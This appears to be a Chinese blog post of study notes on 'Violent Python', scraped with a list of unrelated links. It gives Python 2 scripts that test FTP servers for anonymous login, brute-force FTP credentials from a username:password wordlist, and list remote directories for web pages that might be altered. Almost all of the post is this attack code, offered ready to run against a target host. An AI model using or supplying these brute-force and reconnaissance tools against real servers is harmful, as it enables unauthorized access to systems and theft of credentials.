Python绝技笔记--------FTP匿名访问检测、用户名密码爆破、扫描是否存在web服务默认网页
来源:互联网 发布:云计算全球的影响力 编辑:程序博客网 时间:2024/06/05 01:02
利用ftplib模块
很简单,先获取ftp,然后匿名访问的话用户名是 anonymous
# -*- coding: UTF-8 -*-import ftplibdef anonLogin(hostname): try: ftp = ftplib.FTP(hostname) ftp.login('anonymous','Recar@Recar.com') print '\n[*]'+str(hostname) + 'FTP Anonymous Logon Succeeded.' ftp.quit() return True except Exception,e: print '\n[-]'+str(hostname)+'FTP Anonymous Logon Failed.' return Falsehost = '192.168.150.137'anonLogin(host)
加上optparse方便些
# -*- coding: UTF-8 -*-import ftplibimport optparsedef anonLogin(hostname): try: ftp = ftplib.FTP(hostname) ftp.login('anonymous','Recar@Recar.com') print '\n[*] '+str(hostname) + ': FTP Anonymous Logon Succeeded.' ftp.quit() return True except Exception,e: print '\n[-] '+str(hostname)+': FTP Anonymous Logon Failed.' return Falsedef main(): parse = optparse.OptionParser("usage %prog -H <target host>") parse.add_option('-H',dest='tgtHost',type='string',help='specify target host') (options,args) = parse.parse_args() if (options.tgtHost==None): print parse.usage else: host=options.tgtHost anonLogin(host)if __name__=='__main__': main()
那么可以写一个用户名密码爆破的工具,字典里面包含anonymous,那么就可以同时检测是否可以匿名登陆
# -*- coding: UTF-8 -*-import ftplibimport optparsefrom threading import Threaddef bruteLogin(hostname,passwordFile): with open(passwordFile,'r') as f: for line in f.readlines(): username = line.split(':') [0] password = line.split(':') [1].strip('\r').strip('\n') print "[+] Trying: "+username+":"+password try: ftp = ftplib.FTP(hostname) ftp.login(username,password) print '\n[+] '+str(hostname)+': FTP Logon Succeeded: '+username+":"+password ftp.quit() return (username,password) except Exception,e: pass print '\n[-] Could not brute force FTP credentials.' return (None,None)def main(): parse = optparse.OptionParser("usage %prog -H <target host> -P <target password>") parse.add_option('-H',dest='tgtHost',type='string',help='specify target host') parse.add_option('-P',dest='tgtPassword',type='string',help='specify target password') (options,args) = parse.parse_args() if (options.tgtHost==None)|(options.tgtPassword==None): print parse.usage else: host=options.tgtHost passwordfile=options.tgtPassword bruteLogin(host,passwordfile)if __name__=='__main__': main()
扫描 FTP服务器上是否有web服务的网页,扫描ftp文件中是否有默认的php,asp,html默认的网页。
# -*- coding: UTF-8 -*-#这个版本设置的是利用的匿名登陆。当然用之前的爆破脚本爆破出用户名和密码在利用这个import ftplibdef returnDefault(ftp): try: dirlist=ftp.nlst() except: dirlist= [] print '[-] Could not list directory contents.' print '[-] Skipping To Next Target.' return retList = [] for filename in dirlist: fn = filename.lower() if '.php' in fn or '.htm' in fn or '.asp' in fn: print '[+] Found default page: '+filename retList.append(filename) else: print '[-] Sorry it`s not have web defaulte page' return retListhost ='192.168.150.137'ftp = ftplib.FTP(host)ftp.login('anonymous','')returnDefault(ftp)
0 0
- Python绝技笔记--------FTP匿名访问检测、用户名密码爆破、扫描是否存在web服务默认网页
- Python绝技笔记--------Zip压缩文件密码爆破小脚本
- python 匿名ftp扫描
- CTF web题总结--爆破用户名密码
- Ajax检测用户名是否存在
- ajax检测用户名是否存在
- AJAX 检测用户名是否存在
- win7系统,如何设置ftp的授权规则,使得匿名用户不提供用户名和密码直接访问ftp站点?
- 使用存储过程检测用户名是否存在
- 用户注册(检测用户名是否存在)
- ajax 检测注册用户名是否存在
- 利用ajax检测用户名是否存在
- 数据验证(模拟检测用户名是否存在)
- 检测用户名是否存在(C#代码)
- 检测用户名是否存在的特效
- spring+jquery+ajax 检测用户名是否存在
- Python用户名+密码登录网页
- JQuery+Ajax实现用户名的检测(用户名是否已存在)
- 程序员面试金典——解题总结: 9.16线程与锁 16.1问题:线程和进程有什么区别?
- Storm Trident使用心得
- LeetCode 404. Sum of Left Leaves
- centos服务器上部署javaweb项目
- ngrok-一条命令解决的外网访问内网问题,无需任何配置
- Python绝技笔记--------FTP匿名访问检测、用户名密码爆破、扫描是否存在web服务默认网页
- 在使用bootstrapTable获取数据时,如何获悉table数据是否加载成功?
- [Android]Android系统性能分析工具
- Dapp开发教程 发布Dapp到线上
- C/C++遍历进程和进程ID的小工具
- 一些RxBinding使用场景
- 2,打印十字图
- 焊接机器人控制系统原理分析
- 页面跳转方式